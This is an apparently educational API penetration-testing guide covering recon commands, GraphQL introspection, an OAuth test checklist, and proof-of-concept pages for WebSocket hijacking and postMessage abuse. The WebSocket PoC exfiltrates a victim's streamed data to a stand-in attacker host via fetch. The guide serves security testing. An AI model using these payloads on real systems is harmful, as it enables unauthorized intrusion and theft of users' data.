Pentesting APIs
Modern applications increasingly expose their core functionality directly through APIs — REST, GraphQL, SOAP and OData — rather than through server-rendered pages. These interfaces often carry weaker input validation and access control than the traditional web front end sitting in front of them, and frequently expose more functionality than the UI ever surfaces. This section covers discovering, documenting and exploiting API-specific weaknesses.
API Reconnaissance
Before testing endpoints directly, spend time mapping what actually exists. A lot of exposed API surface is never linked from the UI at all.
# Google dorkingintitle:"api" site:"target.com"intitle:"json" site:"target.com"inurl:"/api/v1/" site:"target.com"
# GitHub dorking for leaked keys and spec filesextension:json target-project"authorization: Bearer"filename:swagger.json
# Shodan"wp-json"Amass is useful for enumerating API subdomains alongside regular asset discovery:
amass enum -list # List all sources Amass will useamass enum -active -d api.example.comFor reverse-engineering an API’s surface from normal browser/app usage, proxy the traffic with mitmproxy and convert the captured flow into an OpenAPI spec with mitmproxy2swagger:
mitmweb # Browse the target app/site as normal through the proxy# File -> Save in mitmweb to export the flowmitmproxy2swagger -i ~/Downloads/flows -o spec.yml -p https://api.example.com -f flowWhere documented paths are known but individual endpoints aren’t, Kiterunner fuzzes for real API routes far more effectively than a generic wordlist:
kr scan https://api.example.com -w routes-large.kiteGeneric content discovery against documentation/spec paths also pays off:
gobuster dir -u https://api.example.com/ -w api-docs-path.txtFurther reading and wordlists: Hacking APIs (hAPI-hacker).
Documentation & Tooling
Most APIs ship (or leak) a machine-readable spec — Swagger/OpenAPI or an OData $metadata document — that’s worth converting into a testable format as early as possible.
Swagger / OpenAPI — convert a discovered swagger.json into a spreadsheet for triage, or straight into a Postman collection for testing:
https://json-csv.com/ # Paste the Swagger JSON, select "Matrix Style" to flatten nested fieldsOData — the $metadata endpoint describes the entire entity model, which can be converted into an OpenAPI 3.0 spec and imported straight into Postman:
https://api.example.com/odata/v2.0/$metadata # Save the returned XML locally
npm install # From a clone of https://github.com/oasis-tcs/odata-openapinode lib/cli.js pathToYourMetadataFile.xml # Produces pathToYourMetadataFile.openapi3.jsonImport the resulting OpenAPI file into Postman (File → Import, ensure “Generate collection” is checked) to get a full, ready-to-test collection of every entity and operation the OData service exposes.
Postman — once a collection exists, a few small scripts make bulk testing much faster:
// Pre-request script: attach a shared header to every request in a collectionpm.request.headers.add({ key: "X-Api-Key", value: "<value>" });# Extract every unique URL out of an exported Postman collection for quick recon(Get-Content '.\collection.postman_collection.json' -Raw | ConvertFrom-Json).item.request.url.rawGraphQL
Unlike REST, a GraphQL API typically exposes a single endpoint, and introspection — if left enabled — will hand over its entire schema, including fields and mutations never used by the front end.
# Common endpoints to check for/graphql/graphiql/graphql.php/graphql/console/api/graphql# List every type in the schemaquery { __schema { types { name description } }}# Full introspection query - returns the complete schema in one request{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}GraphQLmap automates querying and dumping once a schema is known:
python3 graphqlmap.py -u https://api.example.com/graphqlGraphQLmap > dump_via_introspectionFor interactively exploring a schema and crafting queries by hand, GraphiQL Online is a fast, no-install option.
OAuth 2.0
OAuth 2.0 is an authorization framework that lets an application request limited access to a user’s account on another service, without ever seeing that user’s credentials directly. Most implementations follow one of two flows:
- Authorization code grant — the client receives a short-lived code, then exchanges it server-to-server for an access token. The more secure of the two, since tokens never transit the browser.
- Implicit grant — the access token is returned directly via a browser redirect fragment. Simpler, but the lack of a back-channel exchange step makes it inherently more exposed.
Recon
Most OAuth/OpenID Connect servers publish their endpoint layout at a well-known path:
/.well-known/oauth-authorization-server/.well-known/openid-configuration/.well-known/openid-configuration/jwks/connect/authorize/connect/token/connect/userinfo/connect/introspect/connect/revocationChecklist
# Authorization endpoint- Is there an open redirect on the redirect_uri parameter?- What's the entropy of the authorization code? Can it be brute-forced?- Can a client request more scope than it should be permitted?
# Token endpoint- Do authorization codes expire quickly (~30 min) and work only once?- Can an authorization code obtained by one client be redeemed by a different client?- Are the client secret and Client ID actually validated, and where are they transmitted?- Do refresh tokens expire, and can a different client redeem a refresh token than the one that issued it?- Is there rate limiting on code/token/secret guessing?
# Resource server- Do access tokens actually expire, and are expired/revoked tokens rejected?- Are tokens accepted from the header, the body, or (worse) both?
# JWTs used as tokens- Was the JWT issued for a different resource server, or signed by a different issuer?- Is it signed with `alg: none`, or with a symmetric algorithm using the public key as the HMAC secret?- Can you access an API that requires a scope the token doesn't actually have?Further reading: OAuth 2.0 Security Cheat Sheet, PortSwigger — hidden OAuth attack vectors.
Testing a Refresh Flow
curl -X POST "https://auth.example.com/v1/auth/refresh" \ -H "Authorization: Bearer <refresh_token>" \ -H "Accept: application/json" \ --data "grant_type=refresh_token"Worth checking here: does the response return a new refresh token (rotation), or can the same refresh token be replayed indefinitely?
WebSockets
Where an application upgrades a connection to a WebSocket, the same cross-origin concerns that apply to regular HTTP still apply — if the server doesn’t validate the Origin header on the initial handshake, a page on any origin can open a socket to it in the victim’s authenticated context and read whatever the server streams back (Cross-Site WebSocket Hijacking).
<!DOCTYPE html><html><body><script>const ws = new WebSocket('wss://target.example/stream');
ws.onopen = () => ws.send("READY");
ws.onmessage = async (event) => { const raw = event.data instanceof Blob ? await event.data.text() : event.data; const encoded = btoa(unescape(encodeURIComponent(raw))); fetch('https://attacker-collaborator.example/?exfil=' + encoded, { mode: 'no-cors' });};</script></body></html>If this page is loaded by an authenticated victim and the server accepts the handshake regardless of Origin, every message the server streams back over the socket is silently exfiltrated to the listener.
PostMessage
window.postMessage lets two windows on different origins exchange messages, and is commonly used for embedded login widgets, SSO handoffs, and cross-frame communication. Vulnerabilities arise when a receiving page doesn’t validate the message’s origin, or when a sending page doesn’t restrict the targetOrigin it posts to.
Methodology:
- Look for cross-window/iframe communication — the PostMessage-Tracker browser extension and Burp/DOM Invader both help surface
postMessagelisteners. - Statically review any listener for missing or overly permissive
event.originchecks. - Build a proof of concept page that opens or embeds the target and posts a crafted message to see how the listener reacts.
<!-- Popup-based PostMessage PoC --><script> var target = window.open("https://target.example/widget", "target", "width=500,height=400");
setTimeout(function () { target.postMessage({ method: "someHandler", value: "attacker-controlled" }, "*"); }, 2000);</script><!-- Iframe-based PostMessage PoC --><iframe id="targetFrame" src="https://target.example/widget"></iframe><script> function send() { document.getElementById("targetFrame").contentWindow.postMessage( { method: "someHandler", value: "attacker-controlled" }, "*" ); } window.onload = send;</script>Further reading: Exploiting postMessage to steal user cookies.




